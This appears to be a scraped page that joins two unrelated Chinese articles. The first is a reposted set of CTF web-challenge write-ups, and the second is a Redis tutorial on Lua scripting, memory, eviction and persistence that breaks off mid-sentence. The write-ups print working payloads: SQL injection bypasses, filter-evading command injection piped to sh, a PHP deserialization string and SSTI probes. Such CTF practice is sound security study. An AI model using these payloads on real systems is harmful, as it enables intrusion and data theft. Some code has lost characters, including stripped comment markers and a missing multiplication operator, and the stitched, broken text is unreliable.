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...encoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):python得构造方法self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)): SandBox For Remote_Addros.mkdir(self.sandbox)def Exec(self):定义的命令执行函数,此处调用了scan这个自定义的函数result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:action要写scantmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param) 此处是文件读取得注入点if (resp == "Connection Timeout"):result['data'] = respelse:print resp 输出结果tmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:action要加readf = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign): !!!校验return Trueelse:return Falsegenerate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST']) !!!这个路由用于测试def geneSign():param = urllib.unquote(request.args.get("param", "")) action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])这个路由是我萌得最终注入点def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')根目录路由,就是显示源代码得地方def index():return open("code.txt","r").read()def scan(param):这是用来扫目录得函数socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):!!!这个应该是本题关键点,此处注意顺序先是param后是actionreturn hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):这个waf比较没用好像check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0') 相关函数 作用 init(self, action, param, …) 构造方法self代表对象,其他是对象的属性 request.args.get(param) 提取get方法传入的,参数名叫param对应得值 request.cookies.get(“action”) 提取cookie信息中的,名为action得对应值 hashlib.md5().hexdigest() hashlib.md5()获取一个md5加密算法对象,hexdigest()是获得加密后的16进制字符串 urllib.unquote() 将url编码解码 urllib.urlopen() 读取网络文件参数可以是url json.dumps Python 对象编码成 JSON 字符串 这个题先放一下… [极客大挑战 2019]EasySQL 进入题目链接 直接上万能密码 用户随意 admin1' or 1; 得到flag flag{7fc65eb6-985b-494a-8225-de3101a78e89} [极客大挑战 2019]Havefun 进入题目链接 老套路 去F12看看有什么东西 很好 逮住了 获取FLAG的条件是cat=dog,且是get传参 flag就出来了 flag{779b8bac-2d64-4540-b830-1972d70a2db9} [极客大挑战 2019]Secret File 进入题目链接 老套路 先F12查看 发现超链接 直接逮住 既然已经查阅结束了 中间就肯定有一些我们不知道的东西 过去了 上burp看看情况 我们让他挺住 逮住了:secr3t.php 访问一下 简单的绕过 就可以了 成功得到一串字符 进行base解密即可 成功逮住flag flag{ed90509e-d2d1-4161-ae99-74cd27d90ed7} [ACTF2020 新生赛]Include 根据题目信息 是文件包含无疑了 直接点击进来 用php伪协议 绕过就可以了 得到一串编码 base64解密即可 得到flag flag{c09e6921-0c0e-487e-87c9-0937708a78d7} 2018]easy_tornado 都点击一遍 康康 直接filename变量改为:fllllllllllllag 报错了 有提示 render() 是一个渲染函数 具体看这里 就用到SSTI模板注入了 具体看这里 尝试模板注入: /error?msg={ {1} } 发现存在模板注入 md5(cookie_secret+md5(filename)) 分析题目: 1.tornado是一个python的模板,可能会产生SSTI注入漏洞2.flag在/fllllllllllllag中3.render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页4.可以推断出filehash的值为md5(cookie_secret+md5(filename)) 根据目前信息,想要得到flag就需要获取cookie_secret 因为tornado存在模版注入漏洞,尝试通过此漏洞获取到所需内容 根据测试页面修改msg得值发现返回值 可以通过msg的值进行修改,而在 taornado框架中存在cookie_secreat 可以通过/error?msg={ {handler.settings} }拿到secreat_cookie 综合以上结果 拿脚本跑一下 得到filehash: ed75a45308da42d3fe98a8f15a2ad36a 一直跑不出来 不知道为啥子 [极客大挑战 2019]LoveSQL 万能密码尝试 直接上万能密码 用户随意 admin1' or 1; 开始正常注入: 查字段:1' order by 3 经过测试 字段为3 查看回显:1’ union select 1,2,3 查数据库 1' union select 1,2,group_concat(schema_name) from information_schema.schemata 查表: [GXYCTF2019]Ping Ping Ping 考察:RCE的防护绕过 直接构造:?ip=127.0.0.1;ls 简单的fuzz一下 就发现=和$没有过滤 所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串: 构造playload ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b 看看他到底过滤了什么:?ip=127.0.0.1;cat$IFS$1index.php 一目了然过滤了啥,flag字眼也过滤了,bash也没了,不过sh没过滤: 继续构造payload: ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 查看源码,得到flag flag{1fe312b4-96a0-492d-9b97-040c7e333c1a} [RoarCTF 2019]Easy Calc 进入题目链接 查看源码 发现calc.php 利用PHP的字符串解析特性Bypass,具体看这里 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符2.将某些字符转换为下划线(包括空格) scandir():列出参数目录中的文件和目录 发现/被过滤了 ,可以用chr('47')代替 calc.php? num=1;var_dump(scandir(chr(47))) 这里直接上playload calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) flag{76243df6-aecb-4dc5-879e-3964ec7485ee} [极客大挑战 2019]Knife 进入题目链接 根据题目Knife 还有这个一句话木马 猜想尝试用蚁剑连接 测试连接成功 确实是白给了flag [ACTF2020 新生赛]Exec 直接ping 发现有回显 构造playload: 127.0.0.1;cat /flag 成功拿下flag flag{7e582f16-2676-42fa-8b9d-f9d7584096a6} [极客大挑战 2019]PHP 进入题目链接 它提到了备份文件 就肯定是扫目录 把源文件的代码 搞出来 上dirsearch 下载看这里 很简单的使用方法 用来扫目录 -u 指定url -e 指定网站语言 -w 可以加上自己的字典,要带路径 -r 递归跑(查到一个目录后,重复跑) 打开index.php文件 分析这段内容 1.加载了一个class.php文件 2.采用get方式传递一个select参数 3.随后将之反序列化 打开class.php <?phpinclude 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();} }}?> 根据代码的意思可以知道,如果password=100,username=admin 在执行_destruct()的时候可以获得flag 构造序列化 <?phpclass Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;} }$a = new Name('admin', 100);var_dump(serialize($a));?> 得到了序列化 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 但是 还有要求 1.跳过__wakeup()函数 在反序列化字符串时,属性个数的值大于实际属性个数时,就可以 2.private修饰符的问题 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 构造最终的playload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} [极客大挑战 2019]Http 进入题目链接 查看 源码 发现了 超链接的标签 说我们不是从https://www.Sycsecret.com访问的 进入http://node3.buuoj.cn:27883/Secret.php 抓包修改一下Referer 执行一下 随后提示我们浏览器需要使用Syclover, 修改一下User-Agent的内容 就拿到flag了 [HCTF 2018]admin 进入题目链接 这道题有三种解法 1.flask session 伪造 2.unicode欺骗 3.条件竞争 发现 登录和注册功能 随意注册一个账号啦 登录进来之后 登录 之后 查看源码 发现提示 猜测 我们登录 admin账号 即可看见flag 在change password页面发现 访问后 取得源码 第一种方法: flask session 伪造 具体,看这里 flask中session是存储在客户端cookie中的,也就是存储在本地。flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。 [极客大挑战 2019]BabySQL 进入题目链接 对用户名进行测试 发现有一些关键字被过滤掉了 猜测后端使用replace()函数过滤 11' oorr 1=1 直接尝试双写 万能密码尝试 双写 可以绕过 查看回显: 1' uniunionon selselectect 1,2,3 over!正常 开始注入 爆库 爆列 爆表 爆内容 本篇文章为转载内容。原文链接:https://blog.csdn.net/wo41ge/article/details/109162753。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 21:30:33
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...的一致。 3、Lua脚本 Lua/ˈluə/是一种轻量级脚本语言,它是用 C 语言编写的,跟数据的存储过程有点类似。 使用 Lua 脚本来执行 Redis 命令的好处: 1、一次发送多个命令,减少网络开销。 2、Redis 会将整个脚本作为一个整体执行,不会被其他请求打断,保持原子性。 3、对于复杂的组合命令,我们可以放在文件中,可以实现程序之间的命令集复用。 3.1 在Redis中调用Lua脚本 使用 eval /ɪ’væl/ 方法,语法格式: redis> eval lua-script key-num [key1 key2 key3 ....] [value1 value2 value3 ....] eval代表执行Lua语言的命令。 lua-script代表Lua语言脚本内容。 key-num表示参数中有多少个key,需要注意的是Redis中key是从1开始的,如果没有key的参数,那么写0。 [key1key2key3…]是key作为参数传递给Lua语言,也可以不填,但是需要和key-num的个数对应起来。 [value1 value2 value3 …]这些参数传递给 Lua 语言,它们是可填可不填的。 示例,返回一个字符串,0 个参数: redis> eval "return 'Hello World'" 0 3.2 在Lua脚本中调用Redis命令 使用 redis.call(command, key [param1, param2…])进行操作。语法格式: redis> eval "redis.call('set',KEYS[1],ARGV[1])" 1 lua-key lua-value command是命令,包括set、get、del等。 key是被操作的键。 param1,param2…代表给key的参数。 注意跟 Java 不一样,定义只有形参,调用只有实参。 Lua 是在调用时用 key 表示形参,argv 表示参数值(实参)。 3.2.1 设置键值对 在 Redis 中调用 Lua 脚本执行 Redis 命令 redis> eval "return redis.call('set',KEYS[1],ARGV[1])" 1 gupao 2673 redis> get gupao 以上命令等价于 set gupao 2673。 在 redis-cli 中直接写 Lua 脚本不够方便,也不能实现编辑和复用,通常我们会把脚本放在文件里面,然后执行这个文件。 3.2.2 在 Redis 中调用 Lua 脚本文件中的命令,操作 Redis 创建 Lua 脚本文件: cd /usr/local/soft/redis5.0.5/src vim gupao.lua Lua 脚本内容,先设置,再取值: cd /usr/local/soft/redis5.0.5/src redis-cli --eval gupao.lua 0 得到返回值: root@localhost src] redis-cli --eval gupao.lua 0 "lua666" 3.2.3 案例:对 IP 进行限流 需求:在 X 秒内只能访问 Y 次。 设计思路:用 key 记录 IP,用 value 记录访问次数。 拿到 IP 以后,对 IP+1。如果是第一次访问,对 key 设置过期时间(参数 1)。否则判断次数,超过限定的次数(参数 2),返回 0。如果没有超过次数则返回 1。超过时间, key 过期之后,可以再次访问。 KEY[1]是 IP, ARGV[1]是过期时间 X,ARGV[2]是限制访问的次数 Y。 -- ip_limit.lua-- IP 限流,对某个 IP 频率进行限制 ,6 秒钟访问 10 次 local num=redis.call('incr',KEYS[1])if tonumber(num)==1 thenredis.call('expire',KEYS[1],ARGV[1])return 1elseif tonumber(num)>tonumber(ARGV[2]) thenreturn 0 elsereturn 1 end 6 秒钟内限制访问 10 次,调用测试(连续调用 10 次): ./redis-cli --eval "ip_limit.lua" app:ip:limit:192.168.8.111 , 6 10 app:ip:limit:192.168.8.111 是 key 值 ,后面是参数值,中间要加上一个空格和一个逗号,再加上一个空格 。 即:./redis-cli –eval [lua 脚本] [key…]空格,空格[args…] 多个参数之间用一个空格分割 。 代码:LuaTest.java 3.2.4 缓存 Lua 脚本 为什么要缓存 在脚本比较长的情况下,如果每次调用脚本都需要把整个脚本传给 Redis 服务端, 会产生比较大的网络开销。为了解决这个问题,Redis 提供了 EVALSHA 命令,允许开发者通过脚本内容的 SHA1 摘要来执行脚本。 如何缓存 Redis 在执行 script load 命令时会计算脚本的 SHA1 摘要并记录在脚本缓存中,执行 EVALSHA 命令时 Redis 会根据提供的摘要从脚本缓存中查找对应的脚本内容,如果找到了则执行脚本,否则会返回错误:“NOSCRIPT No matching script. Please use EVAL.” 127.0.0.1:6379> script load "return 'Hello World'" "470877a599ac74fbfda41caa908de682c5fc7d4b"127.0.0.1:6379> evalsha "470877a599ac74fbfda41caa908de682c5fc7d4b" 0 "Hello World" 3.2.5 自乘案例 Redis 有 incrby 这样的自增命令,但是没有自乘,比如乘以 3,乘以 5。我们可以写一个自乘的运算,让它乘以后面的参数: local curVal = redis.call("get", KEYS[1]) if curVal == false thencurVal = 0 elsecurVal = tonumber(curVal)endcurVal = curVal tonumber(ARGV[1]) redis.call("set", KEYS[1], curVal) return curVal 把这个脚本变成单行,语句之间使用分号隔开 local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal script load ‘命令’ 127.0.0.1:6379> script load 'local curVal = redis.call("get", KEYS[1]); if curVal == false then curVal = 0 else curVal = tonumber(curVal) end; curVal = curVal tonumber(ARGV[1]); redis.call("set", KEYS[1], curVal); return curVal' "be4f93d8a5379e5e5b768a74e77c8a4eb0434441" 调用: 127.0.0.1:6379> set num 2OK127.0.0.1:6379> evalsha be4f93d8a5379e5e5b768a74e77c8a4eb0434441 1 num 6 (integer) 12 3.2.6 脚本超时 Redis 的指令执行本身是单线程的,这个线程还要执行客户端的 Lua 脚本,如果 Lua 脚本执行超时或者陷入了死循环,是不是没有办法为客户端提供服务了呢? eval 'while(true) do end' 0 为了防止某个脚本执行时间过长导致 Redis 无法提供服务,Redis 提供了 lua-time-limit 参数限制脚本的最长运行时间,默认为 5 秒钟。 lua-time-limit 5000(redis.conf 配置文件中) 当脚本运行时间超过这一限制后,Redis 将开始接受其他命令但不会执行(以确保脚本的原子性,因为此时脚本并没有被终止),而是会返回“BUSY”错误。 Redis 提供了一个 script kill 的命令来中止脚本的执行。新开一个客户端: script kill 如果当前执行的 Lua 脚本对 Redis 的数据进行了修改(SET、DEL 等),那么通过 script kill 命令是不能终止脚本运行的。 127.0.0.1:6379> eval "redis.call('set','gupao','666') while true do end" 0 因为要保证脚本运行的原子性,如果脚本执行了一部分终止,那就违背了脚本原子性的要求。最终要保证脚本要么都执行,要么都不执行。 127.0.0.1:6379> script kill(error) UNKILLABLE Sorry the script already executed write commands against the dataset. You can either wait the scripttermination or kill the server in a hard way using the SHUTDOWN NOSAVE command. 遇到这种情况,只能通过 shutdown nosave 命令来强行终止 redis。 shutdown nosave 和 shutdown 的区别在于 shutdown nosave 不会进行持久化操作,意味着发生在上一次快照后的数据库修改都会丢失。 4、Redis 为什么这么快? 4.1 Redis到底有多快? 根据官方的数据,Redis 的 QPS 可以达到 10 万左右(每秒请求数)。 4.2 Redis为什么这么快? 总结:1)纯内存结构、2)单线程、3)多路复用 4.2.1 内存 KV 结构的内存数据库,时间复杂度 O(1)。 第二个,要实现这么高的并发性能,是不是要创建非常多的线程? 恰恰相反,Redis 是单线程的。 4.2.2 单线程 单线程有什么好处呢? 1、没有创建线程、销毁线程带来的消耗 2、避免了上线文切换导致的 CPU 消耗 3、避免了线程之间带来的竞争问题,例如加锁释放锁死锁等等 4.2.3 异步非阻塞 异步非阻塞 I/O,多路复用处理并发连接。 4.3 Redis为什么是单线程的? 不是白白浪费了 CPU 的资源吗? 因为单线程已经够用了,CPU 不是 redis 的瓶颈。Redis 的瓶颈最有可能是机器内存或者网络带宽。既然单线程容易实现,而且 CPU 不会成为瓶颈,那就顺理成章地采用单线程的方案了。 4.4 单线程为什么这么快? 因为 Redis 是基于内存的操作,我们先从内存开始说起。 4.4.1 虚拟存储器(虚拟内存 Vitual Memory) 名词解释:主存:内存;辅存:磁盘(硬盘) 计算机主存(内存)可看作一个由 M 个连续的字节大小的单元组成的数组,每个字节有一个唯一的地址,这个地址叫做物理地址(PA)。早期的计算机中,如果 CPU 需要内存,使用物理寻址,直接访问主存储器。 这种方式有几个弊端: 1、在多用户多任务操作系统中,所有的进程共享主存,如果每个进程都独占一块物理地址空间,主存很快就会被用完。我们希望在不同的时刻,不同的进程可以共用同一块物理地址空间。 2、如果所有进程都是直接访问物理内存,那么一个进程就可以修改其他进程的内存数据,导致物理地址空间被破坏,程序运行就会出现异常。 为了解决这些问题,我们就想了一个办法,在 CPU 和主存之间增加一个中间层。CPU 不再使用物理地址访问,而是访问一个虚拟地址,由这个中间层把地址转换成物理地址,最终获得数据。这个中间层就叫做虚拟存储器(Virtual Memory)。 具体的操作如下所示: 在每一个进程开始创建的时候,都会分配一段虚拟地址,然后通过虚拟地址和物理地址的映射来获取真实数据,这样进程就不会直接接触到物理地址,甚至不知道自己调用的哪块物理地址的数据。 目前,大多数操作系统都使用了虚拟内存,如 Windows 系统的虚拟内存、Linux 系统的交换空间等等。Windows 的虚拟内存(pagefile.sys)是磁盘空间的一部分。 在 32 位的系统上,虚拟地址空间大小是 2^32bit=4G。在 64 位系统上,最大虚拟地址空间大小是多少? 是不是 2^64bit=10241014TB=1024PB=16EB?实际上没有用到 64 位,因为用不到这么大的空间,而且会造成很大的系统开销。Linux 一般用低 48 位来表示虚拟地址空间,也就是 2^48bit=256T。 cat /proc/cpuinfo address sizes : 40 bits physical, 48 bits virtual 实际的物理内存可能远远小于虚拟内存的大小。 总结:引入虚拟内存,可以提供更大的地址空间,并且地址空间是连续的,使得程序编写、链接更加简单。并且可以对物理内存进行隔离,不同的进程操作互不影响。还可以通过把同一块物理内存映射到不同的虚拟地址空间实现内存共享。 4.4.2 用户空间和内核空间 为了避免用户进程直接操作内核,保证内核安全,操作系统将虚拟内存划分为两部分,一部分是内核空间(Kernel-space)/ˈkɜːnl /,一部分是用户空间(User-space)。 内核是操作系统的核心,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的权限。 内核空间中存放的是内核代码和数据,而进程的用户空间中存放的是用户程序的代码和数据。不管是内核空间还是用户空间,它们都处于虚拟空间中,都是对物理地址的映射。 在 Linux 系统中, 内核进程和用户进程所占的虚拟内存比例是 1:3。 当进程运行在内核空间时就处于内核态,而进程运行在用户空间时则处于用户态。 进程在内核空间以执行任意命令,调用系统的一切资源;在用户空间只能执行简单的运算,不能直接调用系统资源,必须通过系统接口(又称 system call),才能向内核发出指令。 top 命令: us 代表 CPU 消耗在 User space 的时间百分比; sy 代表 CPU 消耗在 Kernel space 的时间百分比。 4.4.3 进程切换(上下文切换) 多任务操作系统是怎么实现运行远大于 CPU 数量的任务个数的? 当然,这些任务实际上并不是真的在同时运行,而是因为系统通过时间片分片算法,在很短的时间内,将 CPU 轮流分配给它们,造成多任务同时运行的错觉。 为了控制进程的执行,内核必须有能力挂起正在 CPU 上运行的进程,并恢复以前挂起的某个进程的执行。这种行为被称为进程切换。 什么叫上下文? 在每个任务运行前,CPU 都需要知道任务从哪里加载、又从哪里开始运行,也就是说,需要系统事先帮它设置好 CPU 寄存器和程序计数器(ProgramCounter),这个叫做 CPU 的上下文。 而这些保存下来的上下文,会存储在系统内核中,并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响,让任务看起来还是连续运行。 在切换上下文的时候,需要完成一系列的工作,这是一个很消耗资源的操作。 4.4.4 进程的阻塞 正在运行的进程由于提出系统服务请求(如 I/O 操作),但因为某种原因未得到操作系统的立即响应,该进程只能把自己变成阻塞状态,等待相应的事件出现后才被唤醒。 进程在阻塞状态不占用 CPU 资源。 4.4.5 文件描述符 FD Linux 系统将所有设备都当作文件来处理,而 Linux 用文件描述符来标识每个文件对象。 文件描述符(File Descriptor)是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行 I/O 操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。 Linux 系统里面有三个标准文件描述符。 0:标准输入(键盘); 1:标准输出(显示器); 2:标准错误输出(显示器)。 4.4.6 传统 I/O 数据拷贝 以读操作为例: 当应用程序执行 read 系统调用读取文件描述符(FD)的时候,如果这块数据已经存在于用户进程的页内存中,就直接从内存中读取数据。如果数据不存在,则先将数据从磁盘加载数据到内核缓冲区中,再从内核缓冲区拷贝到用户进程的页内存中。(两次拷贝,两次 user 和 kernel 的上下文切换)。 I/O 的阻塞到底阻塞在哪里? 4.4.7 Blocking I/O 当使用 read 或 write 对某个文件描述符进行过读写时,如果当前 FD 不可读,系统就不会对其他的操作做出响应。从设备复制数据到内核缓冲区是阻塞的,从内核缓冲区拷贝到用户空间,也是阻塞的,直到 copy complete,内核返回结果,用户进程才解除 block 的状态。 为了解决阻塞的问题,我们有几个思路。 1、在服务端创建多个线程或者使用线程池,但是在高并发的情况下需要的线程会很多,系统无法承受,而且创建和释放线程都需要消耗资源。 2、由请求方定期轮询,在数据准备完毕后再从内核缓存缓冲区复制数据到用户空间 (非阻塞式 I/O),这种方式会存在一定的延迟。 能不能用一个线程处理多个客户端请求? 4.4.8 I/O 多路复用(I/O Multiplexing) I/O 指的是网络 I/O。 多路指的是多个 TCP 连接(Socket 或 Channel)。 复用指的是复用一个或多个线程。它的基本原理就是不再由应用程序自己监视连接,而是由内核替应用程序监视文件描述符。 客户端在操作的时候,会产生具有不同事件类型的 socket。在服务端,I/O 多路复用程序(I/O Multiplexing Module)会把消息放入队列中,然后通过文件事件分派器(File event Dispatcher),转发到不同的事件处理器中。 多路复用有很多的实现,以 select 为例,当用户进程调用了多路复用器,进程会被阻塞。内核会监视多路复用器负责的所有 socket,当任何一个 socket 的数据准备好了,多路复用器就会返回。这时候用户进程再调用 read 操作,把数据从内核缓冲区拷贝到用户空间。 所以,I/O 多路复用的特点是通过一种机制一个进程能同时等待多个文件描述符,而这些文件描述符(套接字描述符)其中的任意一个进入读就绪(readable)状态,select() 函数就可以返回。 Redis 的多路复用, 提供了 select, epoll, evport, kqueue 几种选择,在编译的时 候来选择一种。 evport 是 Solaris 系统内核提供支持的; epoll 是 LINUX 系统内核提供支持的; kqueue 是 Mac 系统提供支持的; select 是 POSIX 提供的,一般的操作系统都有支撑(保底方案); 源码 ae_epoll.c、ae_select.c、ae_kqueue.c、ae_evport.c 5、内存回收 Reids 所有的数据都是存储在内存中的,在某些情况下需要对占用的内存空间进行回 收。内存回收主要分为两类,一类是 key 过期,一类是内存使用达到上限(max_memory) 触发内存淘汰。 5.1 过期策略 要实现 key 过期,我们有几种思路。 5.1.1 定时过期(主动淘汰) 每个设置过期时间的 key 都需要创建一个定时器,到过期时间就会立即清除。该策略可以立即清除过期的数据,对内存很友好;但是会占用大量的 CPU 资源去处理过期的 数据,从而影响缓存的响应时间和吞吐量。 5.1.2 惰性过期(被动淘汰) 只有当访问一个 key 时,才会判断该 key 是否已过期,过期则清除。该策略可以最大化地节省 CPU 资源,却对内存非常不友好。极端情况可能出现大量的过期 key 没有再次被访问,从而不会被清除,占用大量内存。 例如 String,在 getCommand 里面会调用 expireIfNeeded server.c expireIfNeeded(redisDb db, robj key) 第二种情况,每次写入 key 时,发现内存不够,调用 activeExpireCycle 释放一部分内存。 expire.c activeExpireCycle(int type) 5.1.3 定期过期 源码:server.h typedef struct redisDb { dict dict; / 所有的键值对 /dict expires; / 设置了过期时间的键值对 /dict blocking_keys; dict ready_keys; dict watched_keys; int id;long long avg_ttl;list defrag_later; } redisDb; 每隔一定的时间,会扫描一定数量的数据库的 expires 字典中一定数量的 key,并清除其中已过期的 key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时,可以在不同情况下使得 CPU 和内存资源达到最优的平衡效果。 Redis 中同时使用了惰性过期和定期过期两种过期策略。 5.2 淘汰策略 Redis 的内存淘汰策略,是指当内存使用达到最大内存极限时,需要使用淘汰算法来决定清理掉哪些数据,以保证新数据的存入。 5.2.1 最大内存设置 redis.conf 参数配置: maxmemory <bytes> 如果不设置 maxmemory 或者设置为 0,64 位系统不限制内存,32 位系统最多使用 3GB 内存。 动态修改: redis> config set maxmemory 2GB 到达最大内存以后怎么办? 5.2.2 淘汰策略 https://redis.io/topics/lru-cache redis.conf maxmemory-policy noeviction 先从算法来看: LRU,Least Recently Used:最近最少使用。判断最近被使用的时间,目前最远的数据优先被淘汰。 LFU,Least Frequently Used,最不常用,4.0 版本新增。 random,随机删除。 如果没有符合前提条件的 key 被淘汰,那么 volatile-lru、volatile-random、 volatile-ttl 相当于 noeviction(不做内存回收)。 动态修改淘汰策略: redis> config set maxmemory-policy volatile-lru 建议使用 volatile-lru,在保证正常服务的情况下,优先删除最近最少使用的 key。 5.2.3 LRU 淘汰原理 问题:如果基于传统 LRU 算法实现 Redis LRU 会有什么问题? 需要额外的数据结构存储,消耗内存。 Redis LRU 对传统的 LRU 算法进行了改良,通过随机采样来调整算法的精度。如果淘汰策略是 LRU,则根据配置的采样值 maxmemory_samples(默认是 5 个), 随机从数据库中选择 m 个 key, 淘汰其中热度最低的 key 对应的缓存数据。所以采样参数m配置的数值越大, 就越能精确的查找到待淘汰的缓存数据,但是也消耗更多的CPU计算,执行效率降低。 问题:如何找出热度最低的数据? Redis 中所有对象结构都有一个 lru 字段, 且使用了 unsigned 的低 24 位,这个字段用来记录对象的热度。对象被创建时会记录 lru 值。在被访问的时候也会更新 lru 的值。 但是不是获取系统当前的时间戳,而是设置为全局变量 server.lruclock 的值。 源码:server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; server.lruclock 的值怎么来的? Redis 中有个定时处理的函数 serverCron,默认每 100 毫秒调用函数 updateCachedTime 更新一次全局变量的 server.lruclock 的值,它记录的是当前 unix 时间戳。 源码:server.c void updateCachedTime(void) { time_t unixtime = time(NULL); atomicSet(server.unixtime,unixtime); server.mstime = mstime();struct tm tm; localtime_r(&server.unixtime,&tm);server.daylight_active = tm.tm_isdst; } 问题:为什么不获取精确的时间而是放在全局变量中?不会有延迟的问题吗? 这样函数 lookupKey 中更新数据的 lru 热度值时,就不用每次调用系统函数 time,可以提高执行效率。 OK,当对象里面已经有了 LRU 字段的值,就可以评估对象的热度了。 函数 estimateObjectIdleTime 评估指定对象的 lru 热度,思想就是对象的 lru 值和全局的 server.lruclock 的差值越大(越久没有得到更新),该对象热度越低。 源码 evict.c / Given an object returns the min number of milliseconds the object was never requested, using an approximated LRU algorithm. /unsigned long long estimateObjectIdleTime(robj o) {unsigned long long lruclock = LRU_CLOCK(); if (lruclock >= o->lru) {return (lruclock - o->lru) LRU_CLOCK_RESOLUTION; } else {return (lruclock + (LRU_CLOCK_MAX - o->lru)) LRU_CLOCK_RESOLUTION;} } server.lruclock 只有 24 位,按秒为单位来表示才能存储 194 天。当超过 24bit 能表 示的最大时间的时候,它会从头开始计算。 server.h define LRU_CLOCK_MAX ((1<<LRU_BITS)-1) / Max value of obj->lru / 在这种情况下,可能会出现对象的 lru 大于 server.lruclock 的情况,如果这种情况 出现那么就两个相加而不是相减来求最久的 key。 为什么不用常规的哈希表+双向链表的方式实现?需要额外的数据结构,消耗资源。而 Redis LRU 算法在 sample 为 10 的情况下,已经能接近传统 LRU 算法了。 问题:除了消耗资源之外,传统 LRU 还有什么问题? 如图,假设 A 在 10 秒内被访问了 5 次,而 B 在 10 秒内被访问了 3 次。因为 B 最后一次被访问的时间比 A 要晚,在同等的情况下,A 反而先被回收。 问题:要实现基于访问频率的淘汰机制,怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时,其被分为两部分: 高 16 位用来记录访问时间(单位为分钟,ldt,last decrement time) 低 8 位用来记录访问频率,简称 counter(logc,logistic counter) counter 是用基于概率的对数计数器实现的,8 位可以表示百万次的访问频率。 对象被读写的时候,lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由,lfu-log-factor 越大,counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减,也不能体现对象的热度。没有被访问的时候,计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制,如果值是 1 的话,N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快,很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机,都会导致内存中的数据丢失。为了实现重启后数据不丢失,Redis 提供了两种持久化的方案,一种是 RDB 快照(Redis DataBase),一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf, SNAPSHOTTING,其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案,注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 